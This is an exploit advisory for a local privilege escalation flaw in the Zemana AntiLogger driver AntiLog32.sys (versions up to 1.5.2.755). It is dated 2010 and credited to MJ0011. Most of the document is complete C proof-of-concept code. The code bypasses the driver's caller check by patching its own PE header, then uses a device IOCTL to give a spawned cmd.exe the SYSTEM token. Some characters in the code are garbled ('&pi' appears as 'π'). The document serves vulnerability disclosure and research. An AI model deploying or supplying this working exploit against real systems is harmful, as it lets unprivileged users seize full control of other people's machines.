Zemana AntiLogger ‘AntiLog32.sys’ 1.5.2.755 – Local Privilege Escalation
Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability VULNERABLE PRODUCTS Zemana AntiLogger <=1.9.2.2.206 DETAILS: AntiLog32.sys create a device called \Device\AntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which can elevate the privilege of a process to another process EXPLOIT CODE: #include "stdafx.h" #include "windows.h" #include "winioctl.h" #define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS) typedef struct _IMPERSONATE_PROCESS{ HANDLE ImpersonateProcess ; HANDLE SystemProcess ; }IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS; int main(int argc, char* argv[]) { printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n" "Local Privilege Escalation Vulnerability Proof-of-Concept\n" "2010-7-28\n" "By MJ0011 th_decoder@126.com\n\nPress Enter\n"); getchar(); //bypass some useless create check PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL); PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew); PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ; ULONG oldp ; VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp); pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ; VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp); HANDLE hdev = CreateFile("\\\\.\\AntiLog32" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0, OPEN_EXISTING , 0,0); if (hdev == INVALID_HANDLE_VALUE) { printf("cannot open device %u\n" , GetLastError()); getchar(); return 0; } STARTUPINFOA sia ; memset(&sia , 0 , sizeof(sia)); sia.cb = sizeof(sia); PROCESS_INFORMATION pi ; memset(π , 0 , sizeof(pi)); if (!CreateProcess("c:\\windows\\system32\\cmd.exe" , NULL , NULL, NULL, FALSE , CREATE_SUSPENDED, NULL, NULL, &sia , π)) { printf("cannot run cmd.exe....%u\n", GetLastError()); getchar(); return 0 ; } IMPERSONATE_PROCESS ip ; ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ; ip.SystemProcess = (HANDLE)4 ; //// WinXP and later ULONG btr ; if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0)) { printf("cannot impersonate process %u\n" , GetLastError()); getchar(); return 0 ; } ResumeThread(pi.hThread); printf("OK\n"); return 0; } ================================ th_decoder 2010-07-28 |